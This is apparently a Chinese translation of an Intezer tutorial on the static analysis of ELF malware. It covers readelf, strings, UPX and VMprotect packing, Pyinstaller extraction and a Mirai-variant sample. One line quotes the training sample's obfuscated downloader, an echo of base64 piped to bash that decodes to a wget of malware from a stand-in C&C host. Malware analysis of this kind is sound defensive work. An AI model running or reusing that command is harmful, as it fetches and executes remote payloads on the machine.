上一篇文章，我们介绍了ELF恶意软件的威胁概况和背景信息，本文，我们会具体用一个样本进行静态分析。

ELF标头

ELF标头包含有关二进制文件的常规数据，例如二进制文件的入口点和程序标头表的位置。这些信息在初始文件分析过程中并不重要，但是文件的体系结构可以帮助我们了解文件设计在哪台计算机上运行，这样可以防止我们运行文件。

让我们运行readelf -h training-sample来查看样本的标题信息：

有几种先进的恶意软件技术可以利用ELF标头的结构。

文件输出

仅在VM上运行文件总是很有用的，如果文件显示输出，则可能会立即帮助我们确定它是什么。注意：在运行文件之前，请确保已保存虚拟机的截屏。

字符串

字符串提取是收集二进制文件信息的一种经典而强大的方法，为了方便起见，让我们在文件上运行strings命令，然后将字符串提取到txt文件中：strings training-sample > str.txt。

当我们查看字符串时，我们将在代码中看到声明的字符以及与文件格式相关的符号和其他字符串，例如节名和请求的解析器。

就像在PE分析中一样，我们可以搜索指示性字符串，如网络相关字符串、编码字符串(如base64或hex)、路径、命令和其他独特的关键字，这些关键字可以帮助我们更多地了解文件。

在训练文件中，包含base64命令字符串的echo命令字符串会立即显示出来：

echo d2dldCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash;

如果我们解码base64字符串，我们将收到以下命令：

wget http://somenonexitingcnc[.]com/malware.app

我们可以假设该文件从远程C＆C删除了有效载荷。

字符串重用

Intezer Analyze是用于字符串提取的有用工具。通过透露在其他文件中之前是否曾见过某些字符串，它减少了分析工作。在未知恶意软件的情况下，过滤常见字符串可以帮助我们将精力集中在文件的唯一字符串上。

例如：Lazarus的ManusCrypt ELF版本包含在其PE版本中找到的一些相同字符串，美国政府先前曾报道过：

你可以使用Intezer Analyze中的相关样本轻松浏览PE版本以比较两个文件：

代码重用

在Intezer Analyze中检查代码重用可能是初始分析的一个很好的起点，通过公开以前在其他文件中使用过某些代码的位置，可以缩短分析时间。

例如：

该Rekoobe样本在VirusTotal中检测到0个。在上传到Intezer Analyze后，我们会根据对先前示例的代码重用收到明确的结论（恶意）和分类（Rekoobe）。

packer

与PE恶意软件不同的是，PE恶意软件通常使用逃避性和非固定性packer（多态自定义packer）封装已知的有效载荷，这在ELF恶意软件中很少见。一种解析可能是，安全公司与恶意软件开发人员之间正在进行的“网络安全攻防”游戏仍处于起步阶段，因为公司开始为其系统采用针对Linux的检测和保护平台。

但是，著名的UPX被ELF恶意软件开发人员广泛使用。在本节中，我们将回顾ELFpacker，确定如何识别文件是否已封装，并了解如果文件确实已封装，我们下一步将采取什么措施。我们将重点介绍UPX和VMprotect，因为它们是最常用的packer。

Vanilla UPX

带有Vanilla UPX的文件易于检测和解压缩，将样本文件与UPX封装在一起（你可以在此处下载编译后的文件表格）：

1.首先，我们必须通过将其编译为静态链接的二进制文件来增大文件的大小（UPX具有最小文件，并且该文件当前太小）。

gcc -static training_sample.c -o training-sample-static

2.运行：upx -9 training-sample-static -o training-sample-static-packed

运行readelf -a training-sample-static-packed以检索文件的数据，你会注意到只有标题表和段表。这些表对于文件运行是必需的。段表仅包含PT_LOAD和PT_GNU_STACK段，这是段表结构中的异常，可能表明文件已被封装。

让我们在文件上运行strings命令，注意，大多数字符串都是杂乱的，但是，有迹象表明该文件已封装到UPX中。

这些字符串以及文件的表结构表明文件可能与UPX封装在一起。

现在，让我们使用“轻松检测（DIE）”工具。 DIE是一种基于签名的工具，可以检测文件的编译器、链接器、packer等。使用此工具打开文件，你将看到它立即将文件标识为UPX封装。

现在，让我们看看DIE的熵功能：

如果文件包含Vanilla UPX，请运行以下命令将其解压缩：

upx -d training-sample-static-packed，然后使用解压缩的文件继续进行分析。

自定义UPX

由于UPX是开源的，因此很容易在封装过程中进行修改并添加高级图层。为了检测自定义UPX封装的文件，我们可以使用与Vanilla UPX相同的检测方法。但是，可能并不总是有一个指示性字符串可以揭示文件可能与UPX封装在一起。例如，Rocke使用LSD！而不是原始的UPX！标头。尽管这是“自定义UPX”中最简单的技巧，但它可以很容易地避开静态解析器。

代码重用还可以简化packer的检测，查看此修改后的UPX示例。它不包含任何字符串签名，但是如果我们在Intezer Analyze中将其打开，则很明显该文件包含修改后的UPX。

带有修改后的UPX的文件很可能不会使用upx -d命令解压缩。在这种情况下，我们应该进行动态分析。

虚拟机保护（VMprotect）

VMprotect packer是一个流行的PE文件打包选择，它也有一个ELF文件封装解决方案。你可以使用演示版自己尝试，执行以下命令以将VMprotect下载到你的VM上并运行它（在此处下载编译的文件格式）：

VMprotect GUI应该打开，选择“Open..” ，然后选择“ training-sample.app”。

看一下“选项”设置中的“VM段”，该“.vmp”字段可以更改为用户决定的任何值。我们将其更改为“cat”。接下来，点击播放按钮。

该程序已在你的工作目录上创建了一个封装样本。运行readelf -l training-sample.vmp.app以查看封装文件的分段。请注意，文件现在具有带有RWE标志的PT_LOAD段，并且文件的入口点位于该段内（入口点地址应位于该段的虚拟地址与其内存大小之间的某个位置）。你可以看到VMprotect部分cat1也位于此段内。

运行readelf -S training-sample.vmp.app以查看文件的各个部分。

VMprotect将创建两个新的节，它们的名称和后缀分别为1和0。段名和RWE段结合高熵可以揭示一个文件是用VMprotect封装的。如果一个文件是用VMprotect封装的，我们应该继续进行动态分析。

注意：如果你查看这些符号，则将看到与有效载荷相关的功能和变量不再出现在表格中。考虑到有效载荷已被封装，并且我们现在正在分析的文件是packer，而不是有效载荷，这很有意义。

我们怀疑文件包含以下内容：

· Packer代码重用；

· 高熵；

· 段异常；

· 大量乱码；

· Packer签名，例如UPX字符串和VMprotect段名称。

接下里要做的是：

· 如果有解压缩解决方案，我们将解压缩文件并进行分析；

· 如果没有可用的解压解决方案，我们将继续进行动态分析；

解析器

解析器是将脚本编译为可执行文件的程序，用解析器编译的ELF文件在二进制文件中包含一个已编译的脚本。解析器也可以被视为“脚本混淆器”，因为ELF文件只是“封装”了明文源脚本。

让我们回顾一下两个常用的解析器：

Pyinstaller：编译python。

shc：Shell脚本编译器。

Pyinstaller

使用Pyinstaller编译的文件将具有pydata节名称，这是脚本的pyc（已编译的python源代码）放在ELF二进制文件中的位置。检测Pynistaller二进制文件的另一种方法是通过字符串。解析器具有唯一的字符串，例如“检测到错误的启动Python VM”，看看这个YARA规则。

代码重用对于检测Pyinstaller编译文件也很有帮助：

我们可以使用pyinstxtractor从ELF二进制文件中提取python脚本。请遵循本指南，了解如何将其应用于ELF文件。请注意，你用于运行pyinstxtractor的python版本应与你正在分析的二进制文件中使用的版本相同。如果不匹配，pyinstxtractor将发出警告。

让我们尝试一下（在此处下载编译文件格式）：

首先，让我们编译一个Pyinstaller文件：

1.在VM上安装Python和Pyinstaller：

sudo apt update
 sudo apt install -y python3
 sudo apt install -y python3-pip
 sudo pip3 install pyinstaller

2.使用test_pyinstaller.py创建一个简单的python脚本代码：

nano test_pyinstaller.py将以下脚本复制到test_pyinstaller.py：

for i in range(1,6):
 print(f”this is output #{i}”)

最后保存（ctrl + x）。

3.使用Pyinstaller编译文件：

Pyinstaller：onefile test_pyinstaller.pyPyinstaller在源文件夹中创建了2个目录：dist和build。编译后的文件位于/ dist目录中。你可以运行该文件，还可以检查pydata节及其字符串。

从已编译的二进制文件中提取python脚本：

1.下载pyinextractor和uncompyle6：

sudo apt install -y git
 
git clone
 
sudo pip3 install uncompyle6

2.使用objcopy转储pydata节，本节包含pyc（Python字节码）。让我们在一个干净的目录中工作。

mkdir training-pyinstaller
 cd training-pyinstaller
 objcopy –dump-section pydata=pydata.dump ../dist/test_pyinstaller

3.在pydata转储上运行pyinstxtractor：

python3 ../pyinstxtractor/pyinstxtractor.py pydata.dump你应该收到以下输出：

pyinstxtractor创建了一个名为pydata.dump_extracted的目录。请注意，该工具会建议可能的入口点（在我们的示例中，我们知道它的test_pyinstaller.pyc）。

使用uncompyle6反编译相关的pyc文件。 uncompyle6是一个Python反编译器，可将Python字节码转换为等效的Python源代码：

cd pydata.dump_extracted
uncompyle6 test_pyinstaller.pyc

现在，我们已经成功提取了Python代码：

shc

shc是一个shell脚本编译器，使用shc编译的文件具有特定的字符串。你可以使用YARA签名与代码重用一起检测它们。 UnSHc工具可用于从使用较早的shc版本编译的文件中提取已编译的bash脚本（当前尚不存在从该工具的更高版本中提取脚本的公共解决方案）。

当文件具有以下内容时，我们怀疑该文件是解析器：

1.解析器代码重用；

2.高熵（在某些情况下）；

3.解析器签名，例如唯一的字符串和节名称；

下一步要做的就是：

1.如果有脚本提取解决方案，我们将在二进制文件上运行它。

2.如果没有可用的脚本提取解决方案，我们将继续进行动态分析。

ELFparser工具

Elfparser是一个开源项目，不过过去几年尚未更新。话虽如此，当你要搜索文件功能的可疑对象和指示符时，此工具可用于初步分析。除了将ELF文件解析到与初始分析相关的各种表之外，该工具还包含基于文件的静态工件的嵌入式签名，这些签名被转换为“功能”。然后将这些功能转换为最终分数。分数越高，文件越可疑。对该分数应稍加怀疑，因为该指标容易出现误报，而且可信文件也可能会高度可疑。

目前这些样本已经上传到了ELFparser工具：

它将系统和popen函数映射到它们的相关类别，并识别嵌入的IP地址。

真实的ELF恶意软件样本分析

我们将分析一个真实的ELF恶意软件样本，并将为你提供3个其他样本，以便你可以自己进行初始ELF分析。你可以在此处找到练习样本。

让我们下载此示例，然后使用ELFparser打开它，以便我们可以获取文件的初始概述。

Elfparser将该文件识别为UPX压缩文件，让我们使用upx -d解压缩文件。

现在我们已经解压缩了文件，让我们在ELFparser中再次打开它。你可以看到该文件具有符号，并且ELFparser收集了一些功能：

该文件可能会生成HTTP请求作为其功能的一部分，User-Agent和Host标头是变量（基于％s）。

让我们在文件上运行strings命令，该文件包含大量类似于用户代理的字符串。我们可以假设它们可能与ELFparser标识的HTTP请求有关，并且二进制文件正在使用不同的用户代理，以避免被尝试联系的主机阻止。

此时，我们可能怀疑我们没有处理受信任的文件，并且它也可能与某些DDoS恶意软件有关，但是在得出结论之前，我们应该首先收集更多信息。

让我们看一下文件的符号，因为它包含许多符号，所以分别使用readelf和grep每种符号类型。

readelf -s training-sample | grep FUNC

该文件包含一些异常和可疑的函数名称：

FindRandIP，tcpFl00d，udpfl00d

我们几乎可以断定该文件是恶意软件，让我们在Google上快速搜索这些函数，以便我们对文件进行分类。根据Mirai和Gafgyt分析的搜索结果。现在很明显，该文件是僵尸网络，是Mirai的变体。

Golang文件

我们看到一种新趋势，我们看到恶意软件是用Golang写的。Kaiji, NOTROBIN, Kinsing就是一些例子。不过，Golang文件与经典的ELF文件具有不同的结构。

总结

我们回顾了最初的ELF分析，重点是静态分析。而且还详细介绍了与初始分析相关的不同工件和组件，并了解了它们如何帮助我们立即收集有关文件的分析。我们还说明了可以使用哪些工具来收集这些分析。

初步分析是在处理文件时应采取的第一步，但这并不总是足以确定文件的结论并确定威胁是否为恶意文件。在初始分析阶段，文件可能会被封装，删除或提供的信息不足以进行评估。

本文翻译自：https://www.intezer.com/blog/linux/elf-malware-analysis-101-initial-analysis/如若转载，请注明原文地址：